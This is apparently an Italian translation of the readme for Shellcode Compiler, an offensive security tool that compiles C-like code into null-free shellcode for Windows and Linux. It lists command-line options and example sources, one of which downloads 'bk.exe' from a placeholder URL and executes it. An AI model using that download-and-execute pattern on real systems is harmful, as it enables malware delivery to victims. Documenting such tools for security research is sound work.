
Compilatore di shellcode
Shellcode Compiler è un programma che compila codice in stile C/C++ in uno shellcode piccolo, indipendente dalla posizione e senza NULL per Windows (x86 e x64) e Linux (x86 e x64). È possibile chiamare qualsiasi funzione API di Windows o syscall di Linux in modo intuitivo.
Shellcode Compiler prende come input un file sorgente e utilizza il proprio compilatore per interpretare il codice e generare un file assembly che viene assemblato con il motore Keystone.
-h (--help) : Mostra questo messaggio di aiuto
-p (--platform) : Piattaforma dello shellcode: win_x86,win_x64,linux_x86,linux_x64
-v (--verbose) : Stampa output dettagliato
-t (--test) : Testa (esegue) lo shellcode generato
-r (--read) : Leggi il file sorgente
-o (--output) : File di output dello shellcode binario generato
-a (--assembbly) : File di output del codice assembly generato
function URLDownloadToFileA("urlmon.dll");
function WinExec("kernel32.dll");
function ExitProcess("kernel32.dll");
URLDownloadToFileA(0,"https://site.com/bk.exe","bk.exe",0,0);
WinExec("bk.exe",0);
ExitProcess(0);
chmod("/root/chmodme",511);
write(1,"Hello, world",12);
kill(1661,9);
getpid();
execve("/usr/bin/burpsuite",0,0);
exit(2);
ShellcodeCompiler.exe -r Source.txt -o Shellcode.bin -a Assembly.asm -p win_x64
Esistono anche molte altre limitazioni. Questa è una versione Alpha. Segnala eventuali bug o suggerimenti.
Ionut Popescu (@NytroRST)